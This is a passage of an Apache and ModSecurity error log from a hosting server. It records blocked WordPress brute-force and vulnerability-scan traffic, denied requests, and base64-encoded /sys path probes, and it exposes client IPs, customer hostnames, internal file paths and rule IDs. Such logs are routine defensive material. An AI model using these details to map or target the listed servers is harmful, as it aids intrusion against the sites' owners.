https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:24:24.171789 2026] [access_compat:error] [pid 646876:tid 646929] [remote 57.141.14.104:36234] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:24.172226 2026] [access_compat:error] [pid 646876:tid 646929] [remote 57.141.14.104:36234] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:24.230476 2026] [access_compat:error] [pid 646876:tid 646899] [remote 57.141.14.51:60754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:24.230978 2026] [access_compat:error] [pid 646876:tid 646899] [remote 57.141.14.51:60754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:24.240080 2026] [security2:error] [pid 715691:tid 715818] [remote 17.246.15.144:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 144.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30uLV-dFiaX9AtWiQsVQABYWs"] [Sat Jun 13 18:24:24.282557 2026] [security2:error] [pid 646876:tid 647051] [client 159.223.112.69:48500] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30uNyTkdrNlD40tSHYzAAAACs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:24.581194 2026] [access_compat:error] [pid 646876:tid 646938] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDAvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:24:24.581482 2026] [access_compat:error] [pid 646876:tid 646938] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL3N1YnN5c3RlbS9ldmVudDAvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:24:24.658162 2026] [security2:error] [pid 715691:tid 715772] [remote 17.22.245.139:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 139.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30uLV-dFiaX9AtWiQsZwABET0"] [Sat Jun 13 18:24:24.668420 2026] [access_compat:error] [pid 715691:tid 715789] [remote 57.141.14.60:34248] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:24.668864 2026] [access_compat:error] [pid 715691:tid 715789] [remote 57.141.14.60:34248] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:24.716859 2026] [access_compat:error] [pid 715691:tid 715829] [remote 57.141.14.49:51323] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:24.717130 2026] [access_compat:error] [pid 715691:tid 715829] [remote 57.141.14.49:51323] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:24.722438 2026] [security2:error] [pid 715691:tid 715830] [remote 145.239.79.139:37940] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 139.79.239.145.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "website-4f489b17.pgt.qqk.mybluehost.me"] [uri "/wp-login.php"] [unique_id "ai30uLV-dFiaX9AtWiQsbAABKHc"], referer: https://website-4f489b17.pgt.qqk.mybluehost.me/wp-login.php [Sat Jun 13 18:24:24.854362 2026] [security2:error] [pid 646876:tid 646987] [remote 5.175.167.71:43288] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.167.175.5.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "casanoelectric.com"] [uri "/xmlrpc.php"] [unique_id "ai30uNyTkdrNlD40tSHY2gAAWmw"] [Sat Jun 13 18:24:24.854564 2026] [security2:error] [pid 646876:tid 647098] [client 5.175.167.71:43288] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "casanoelectric.com"] [uri "/xmlrpc.php"] [unique_id "ai30uNyTkdrNlD40tSHY2gAAWmw"] [Sat Jun 13 18:24:24.969278 2026] [access_compat:error] [pid 646876:tid 646964] [remote 57.141.14.33:37271] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:24.969744 2026] [access_compat:error] [pid 646876:tid 646964] [remote 57.141.14.33:37271] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:25.097553 2026] [access_compat:error] [pid 646876:tid 646883] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:24:25.097859 2026] [access_compat:error] [pid 646876:tid 646883] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:24:25.268505 2026] [access_compat:error] [pid 646876:tid 646992] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:25.268780 2026] [access_compat:error] [pid 646876:tid 646992] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:25.532417 2026] [security2:error] [pid 715691:tid 715915] [client 159.223.112.69:54488] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30ubV-dFiaX9AtWiQsgQAAAVQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:25.579684 2026] [access_compat:error] [pid 715691:tid 715730] [remote 57.141.14.85:36420] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:25.579964 2026] [access_compat:error] [pid 715691:tid 715730] [remote 57.141.14.85:36420] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:25.637343 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:24:25.637785 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:24:25.671232 2026] [security2:error] [pid 715691:tid 715927] [client 74.7.230.12:44708] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:user-agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "thehorsepowershow.com"] [uri "/robots.txt"] [unique_id "ai30ubV-dFiaX9AtWiQshwAAAWA"] [Sat Jun 13 18:24:25.724862 2026] [security2:error] [pid 646876:tid 647038] [client 159.223.112.69:54496] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30udyTkdrNlD40tSHY8gAAAB4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:25.728755 2026] [security2:error] [pid 715691:tid 715740] [remote 17.246.23.177:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 177.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ubV-dFiaX9AtWiQsiwABbR4"] [Sat Jun 13 18:24:25.765268 2026] [security2:error] [pid 646876:tid 646981] [remote 17.241.75.138:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 138.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30udyTkdrNlD40tSHY9AAAC2Y"] [Sat Jun 13 18:24:25.784561 2026] [access_compat:error] [pid 715691:tid 715819] [remote 57.141.14.47:44152] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:25.784867 2026] [access_compat:error] [pid 715691:tid 715819] [remote 57.141.14.47:44152] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:25.918363 2026] [security2:error] [pid 715691:tid 715951] [client 159.223.112.69:54504] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30ubV-dFiaX9AtWiQslQAAAXg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:26.047905 2026] [access_compat:error] [pid 715691:tid 715812] [remote 57.141.14.20:34016] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:26.048331 2026] [access_compat:error] [pid 715691:tid 715812] [remote 57.141.14.20:34016] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:26.111468 2026] [security2:error] [pid 646876:tid 647119] [client 159.223.112.69:54516] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30utyTkdrNlD40tSHY_gAAAG8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:26.199585 2026] [access_compat:error] [pid 646876:tid 646972] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:24:26.200048 2026] [access_compat:error] [pid 646876:tid 646972] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:24:26.242209 2026] [security2:error] [pid 715691:tid 715802] [remote 17.246.15.198:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 198.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30urV-dFiaX9AtWiQsoQABbFs"] [Sat Jun 13 18:24:26.303468 2026] [security2:error] [pid 715691:tid 715899] [client 159.223.112.69:54528] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30urV-dFiaX9AtWiQsogAAAUQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:26.319579 2026] [access_compat:error] [pid 715691:tid 715814] [remote 57.141.14.71:36818] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:26.320046 2026] [access_compat:error] [pid 715691:tid 715814] [remote 57.141.14.71:36818] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:26.374387 2026] [security2:error] [pid 646876:tid 646928] [remote 17.241.227.39:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 39.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30utyTkdrNlD40tSHZBAAAZjE"] [Sat Jun 13 18:24:26.416463 2026] [security2:error] [pid 715691:tid 715910] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/tests/lang/func_get_args.003.phpt"] [unique_id "ai30urV-dFiaX9AtWiQsqAAAAU8"] [Sat Jun 13 18:24:26.486294 2026] [security2:error] [pid 715691:tid 715925] [client 159.223.112.69:54530] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30urV-dFiaX9AtWiQsrQAAAV4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:26.523814 2026] [security2:error] [pid 715691:tid 715896] [client 210.217.96.217:60614] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30urV-dFiaX9AtWiQsrwAAAUE"] [Sat Jun 13 18:24:26.524048 2026] [security2:error] [pid 715691:tid 715896] [client 210.217.96.217:60614] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30urV-dFiaX9AtWiQsrwAAAUE"] [Sat Jun 13 18:24:26.550437 2026] [security2:error] [pid 715691:tid 715853] [client 159.223.112.69:54542] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30urV-dFiaX9AtWiQssgAAARY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:26.574992 2026] [access_compat:error] [pid 715691:tid 715801] [remote 57.141.14.26:22918] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:26.575432 2026] [access_compat:error] [pid 715691:tid 715801] [remote 57.141.14.26:22918] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:26.680808 2026] [security2:error] [pid 715691:tid 715779] [remote 103.143.207.18:50044] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.207.143.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "cochranlake.org"] [uri "/wp-login.php"] [unique_id "ai30urV-dFiaX9AtWiQstgABTEQ"] [Sat Jun 13 18:24:26.706352 2026] [access_compat:error] [pid 646876:tid 646999] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9tb3VzZTEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:24:26.706796 2026] [access_compat:error] [pid 646876:tid 646999] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9tb3VzZTEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:24:26.735438 2026] [security2:error] [pid 646876:tid 646926] [remote 17.22.253.222:0] ModSecurity: Access 